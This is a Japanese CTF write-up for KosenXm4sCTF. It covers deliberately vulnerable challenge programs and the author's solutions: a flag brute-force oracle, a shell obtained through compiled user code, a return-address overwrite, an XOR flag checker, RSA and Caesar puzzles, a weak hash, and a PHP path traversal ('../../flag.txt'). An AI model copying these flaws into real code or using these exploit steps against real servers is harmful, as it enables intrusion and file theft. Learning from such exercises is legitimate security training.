KosenXm4sCTF writeup

xm4s.net

GitHub - KosenXmasCTF/problems: 問題一覧のリポジトリです

目次

成績

f:id:kisaragi211:20201227234230p:plain

Writeup

Pwn

match_flag

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);

    FILE *fp = fopen("./flag.txt", "r");
    if(fp == NULL) {
        puts("flag.txt not found!");
        exit(0);
    }
    char flag[0x100];
    fgets(flag, 0x100, fp);

    char input[0x100];
    fgets(input, 0x100, stdin);
    int len = strlen(input) - 1;

    if(strncmp(flag, input, len) == 0) {
        puts("Correct!!!");
    } else {
        puts("Incorrect...");
    }
}

入力した文字数だけflagと比較してくれるので総当たりするだけ。 solve.py

from pwn import *

pattern = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"#$%&\'()*+,-./:;<=>?@[\\]^`|}'

s = 'xm4s{'

f = True
while f:
    for c in pattern:
        p = remote('27.133.155.191', 30009)
        p.sendline(s+c)
        ret = p.recvline()
        log.warn(s)
        if 'Correct' in str(ret):
            s += c
            log.warn('flag : ' + s)
            if c == '}':
                f = False
            break
    else:
        f = False
$ python3 solve.py
[!] flag : xm4s{you got flag finaly hahaha}

本番では英数字・記号全部含めてもヒットしなかったので焦りましたが、flagにはスペースを使っているようです。

beginners_shell

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

  char program[0x1000];

  puts("Enter your program!");
  fgets(program, 0x1000, stdin);

  FILE *fp = fopen("/tmp/program.c", "w");
  fprintf(fp, "%s", program);
  fclose(fp);

  system("rm /tmp/program");
  system("gcc /tmp/program.c -o /tmp/program");
  system("/tmp/program");
  system("rm /tmp/program");
}

入力したCのプログラムをそのまま実行してくれるらしい。

$ nc 153.125.225.197 30002
Enter your program!
int main() { system("/bin/sh"); }

...

cat flag.txt
xm4s{Yes!!To_get_SHELL_is_goal}

dead_or_alive

main.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char* get_secret_password() {
    char password[0x1000]; // I can get very very long password!!

    FILE *fp = fopen("./password.txt", "r");
    if(fp == NULL) {
        puts("password.txt not found.");
        exit(0);
    }
    fgets(password, 0x1000, fp);
    char* ret = password;

    return ret;
}

void login(char *password) {
    char input[512];
    printf("Input your password:");
    fgets(input, 512, stdin);

    if(strcmp(input, password) == 0) {
        puts("You logged in!");
        system("/bin/sh");
    }
}

void hello() {
    char name[0x1000];

    puts("Tell me your name!");
    fgets(name, 0x1000, stdin);

    printf("Hello %s\n", name);
}

int menu() {
    int ret;

    printf(
            "0: Hello\n"
            "1: Login\n"
            );

    scanf("%d%*c", &ret);

    return ret;
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

    char* pass = get_secret_password();
    while(1) {
        int option = menu();
        if(option == 0) {
            hello();
        } else if(option == 1) {
            login(pass);
        }
    }
}

hello()とget_secret_password()が確保する領域が同じになるので,hello()で入力した名前がそのままpasswordに変わる。 なのでhello()とlogin()で同じ文字列を入力するだけ

$ nc 153.125.225.197 30005
0: Hello
1: Login
0
Tell me your name!
a
Hello a

0: Hello
1: Login
1
Input your password:a
You logged in!
cat flag.txt
xm4s{welc0me_t0_undergr0und}

write_where_what

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

void call_me_to_win() {
    system("/bin/sh");
}

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);


    printf("call_me_to_win at %p\n", call_me_to_win);

    unsigned long value = 1; // I like unsigned long value!
    printf("%lx\n", &value);

    size_t where, what;

    printf("where:");
    scanf("%lx", &where);
    printf("what:");
    scanf("%lx", &what);

    *(size_t*)where = what; // where に what を書き込む
}

2番目に表示されたvalueのアドレス+40(0x28)をwhereに入力し、whatにcall_me_to_winのアドレスを入力する。

$ nc 153.125.225.197 30003
call_me_to_win at 0x401e15
7ffcc4619b50
where:0x7ffcc4619b78
what:0x401e15
cat flag.txt
xm4s{i_can_rewrite_memory...}

Rev

strings_binary

$ strings binary_strings | grep xm4s
xm4s{strings_binary_is_simple_and_powerful!}

countdown

binaryをアセンブルすると

   0x0000000000401a62 <+4>:    sub    rsp,0x30
   0x0000000000401a66 <+8>:   lea    rdi,[rip+0x5af]        ## 0x40201c
   0x0000000000401a6d <+15>:  call   0x401030 <puts@plt>
   0x0000000000401a72 <+20>:  mov    eax,0x0
   0x0000000000401a77 <+25>:  call   0x4018c8 <wait>
   0x0000000000401a7c <+30>:  call   0x401172 <generate_flag>
   0x0000000000401a81 <+35>:  lea    rdi,[rip+0x5a8]        # 0x402030
   0x0000000000401a88 <+42>:  call   0x401030 <puts@plt>
   0x0000000000401a8d <+47>:  lea    rdi,[rip+0x5c0]        # 0x402054
   0x0000000000401a94 <+54>:  mov    eax,0x0
   0x0000000000401a99 <+59>:  call   0x401040 <printf@plt>

generate_flagに飛べばflagが出そうということがわかったのでset $rip=0x401a7cしてgenerate_flagで飛ぶ。 実行はgdbで行った。 実行を進めると

[----------------------------------registers-----------------------------------]
RAX: 0x23 ('#')
RBX: 0x0
RCX: 0x7d ('}')
RDX: 0x404080 ("xm4s{kotoshimo_mou_nennmatsu_desune}")
RSI: 0x20 (' ')
RDI: 0x402030 ("Happy new year! We check your flag!")
RBP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>:   push   r15)
RIP: 0x401a88 (<main+42>: call   0x401030 <puts@plt>)
R8 : 0x7ffff7dced80 --> 0x0
R9 : 0x7ffff7dced80 --> 0x0
R10: 0x0
R11: 0x0
R12: 0x401090 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffeaa0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401a77 <main+25>:    call   0x4018c8 <wait>
   0x401a7c <main+30>:    call   0x401172 <generate_flag>
   0x401a81 <main+35>:    lea    rdi,[rip+0x5a8]        # 0x402030
=> 0x401a88 <main+42>: call   0x401030 <puts@plt>
   0x401a8d <main+47>:    lea    rdi,[rip+0x5c0]        # 0x402054
   0x401a94 <main+54>:    mov    eax,0x0
   0x401a99 <main+59>:    call   0x401040 <printf@plt>
   0x401a9e <main+64>:    lea    rax,[rbp-0x30]

rdxにflagがセットされている。

first_asm

first_asm.c

/*
gcc -O0 -o binary binary.c check_flag.s
*/

#include <stdio.h>
#include <stdbool.h>

extern bool check_flag(char* input);

int main(void) {
    char input[33];
    printf("+------------+\n");
    printf("|FLAG CHECKER|\n");
    printf("+------------+\n");
    printf("Input: ");
    scanf("%32s%*c", input);
    if (check_flag(input)) {
        printf("Correct!\n");
    } else {
        printf("Wrong...\n");
    }
}

check_flag.s

.intel_syntax noprefix
.globl check_flag, key, answer

/*
mov a, b
    a = b

add a, b
    a = a + b

xor a, b
    a = a ^ b

lea a, b
    a = &b

SIZE PTR [a]
    aからSIZE分読みこむ
    QWORD: 8byte
    DWORD: 4byte
    WORD: 2byte
    BYTE: 1bytes

jmp label
    goto label

cmp a, b
j** label
    jne: if (a != b) goto label
    jle: if (a <= b) goto label

rax, rbx, cl, dl
    レジスタ。一時変数だと思っても問題ないが、このアーキテクチャではいくつか変数には役割がある
    rdi: 第一引数
    rax: 返り値
    rbp: スタックの一番下を指すポインタ
    その他rspなどにも役割は存在するが、今回は関係ないので割愛する。

スタック:
    ローカル変数に割り当てられるメモリのこと。
    +------+
    + 0x14 +
    +------+ <= rbp - 4
    + 0x13 +
    +------+ <= rbp - 3
    + 0x12 +
    +------+ <= rbp - 2
    + 0x11 +
    +------+ <= rbp - 1
    + 0x10 +
    +------+ <= rbp
    BYTE PTR [rbp - 4]は 0x13、
    DWORD PTR [rbp - 4]は 0x10111213 に当たる。
*/

# Let's reversing!

key:
    .string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"

answer:
    .string "CAn_U_Re4d_A55emBly?L3t's_tRY_it"

check_flag:
    # 関数の開始処理 (おまじない)
    push rbp
    mov rbp, rsp

    mov QWORD PTR [rbp - 0x8], rdi
    mov QWORD PTR [rbp - 0x10], 0

    .for_start:
        mov rax, QWORD PTR [rbp - 0x8]
        mov rbx, QWORD PTR [rbp - 0x10]
        mov cl, BYTE PTR [rax + rbx]

        lea rax, key
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]

        xor cl, dl

        lea rax, answer
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]

        cmp cl, dl
        jne .if_false

        .if_true:
            jmp .if_end

        .if_false:
            mov eax, 0
            jmp .function_end

        .if_end:

    .for_end:
    add QWORD PTR [rbp - 0x10], 1
    cmp QWORD PTR [rbp - 0x10], 32
    jle .for_start

    mov eax, 1
    .function_end:

    # 関数の終了処理 (おまじない)
    leave
    ret

とても丁寧な解説があったが、アセンブリ読みたくなかったので気合で解くことにした(すみません) まずはanswerの文字列を入力したがWrong..と出たため違う方法を考える。 その上にkeyというのがあり、仕方なくアセンブリを少し読むとxor命令が出てきてたのでxor暗号的なやつと推測。 スクリプトを書く。 solve.py

key = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
base = "CAn_U_Re4d_A55emBly?L3t's_tRY_it"


for i in range(len(base)):
    print(chr(ord(key[i])^ord(base[i])), end='')
$ python3 solve.py
xm4s{we1c0me_t0_a55emb1y_w0r1d!}%

実行すると答えが出た。

Crypto

do_you_know_RSA?

param.txt

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
E = 65537
crypted message is 736752258923832368359268459529023058483734448152703465168101

RSAの初心者問題。解くだけ。 solve.py

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
q = N // p
e = 65537
c = 736752258923832368359268459529023058483734448152703465168101
phi = (p-1) * (q-1)

from Crypto.Util.number import *

d = inverse(e, phi)
m = pow(c, d, N)

print(long_to_bytes(m))
$ python3 solve.py
b'xm4s{dont_leak_p_and_q!!}'

advanced_caesar

encrypted_flag.txt

xn4u{fejyhzwyjazwzqkszurwhyqaop}

flag形式がxm4sなのでそこから推測すると最初は0, 次は1, 2...nずれていることがわかるのでそれを元に戻す。 solve.py

s = 'xn4u{fejyhzwyjazwzqkszurwhyqaop}'

def caesar_decode(c, n):
    return chr((ord(c)-ord('a')-n) % 26 + ord('a'))

import codecs
i = 0
for c in s:
    if c.isalpha():
        print(caesar_decode(c, i), end='')
        i += 1
    else:
        print(c, end='')
$ python3 solve.py
xm4s{caesarnoyomikatagawakarann}%

bad_hash

hash.py

#!/bin/python3

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100

    return (xor_sum, mod_sum)

with open("./password.txt") as f:
    answer = f.read()

ans_x, ans_m = hash(answer)
print(f'ans_x {ans_x}, ans_m {ans_m}')

user_input = input()
if 10 <= len(user_input):
    print("too long...")

inp_x, inp_m = hash(user_input)
print(f'inp_x {inp_x}, inp_m {inp_m}')

if ans_x == inp_x and ans_m == inp_m:
    print("You hava a password!!")
    with open('./flag.txt') as f:
        print(f.read())
$ nc 153.125.225.197 30010
ans_x 88, ans_m 36

どうやらans_xが88, ans_mが36になるような何かを入力すれば良いらしい。 綺麗な解法があるのだろうが、私はゴリ押しでやった。

solve.py

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100

    return (xor_sum, mod_sum)


import string
for c1 in string.ascii_letters:
    for c2 in string.ascii_letters:
        for c3 in string.ascii_letters:
            s = c1+c2+c3
            print(s + ':' + str(hash(s)))

for文を三重にしたあたりで欲しい値が出たのでそれを使うことに。

$ python3 solve.py | grep 88 | grep 36
HJZ:(88, 36)
HZJ:(88, 36)
JHZ:(88, 36)
JJX:(88, 36)
JXJ:(88, 36)
JZH:(88, 36)
XJJ:(88, 36)
ZHJ:(88, 36)
ZJH:(88, 36)

どれかを使えば良いでこれを入力するとflagが出る。

$ nc 153.125.225.197 30010
ans_x 88, ans_m 36
HJZ
inp_x 88, inp_m 36
You hava a password!!
xm4s{xor_and_modsum!double_hash!!}

Web

bad_path

index.php

<?php

$content = "";
if (isset($_GET["ext"])) {
    $content = file_get_contents("resource/" . $_GET["ext"]);
}

?>

<!DOCTYPE html>
<html lang="ja">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>HelloWorld</title>
   <style type="text/css">
        pre {
          margin: 1em 0;
          padding: 1em;
          background: #25292f;
          color: #fff;
          white-space: pre-wrap;
        }
    </style>
</head>
<body>
    <h1>Hello World!</h1>
    <form>
        <select name="ext">
            <option value="hello.js">JavaScript</option>
            <option value="hello.py">Python</option>
            <option value="hello.rs">Rust</option>
            <option value="hello.c">C</option>
        </select>
        <input type="submit" value="View">
    </form>
    <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre>
</body>
</html>

Dockerfile

FROM php:8.0-apache

ADD ./index.php /var/www/html/index.php
ADD ./flag.txt /var/www/flag.txt
ADD ./resource/ /var/www/html/resource/

https://bad-path.xm4s.net/index.php?ext=../../flag.txtでアクセスするとflagが出る。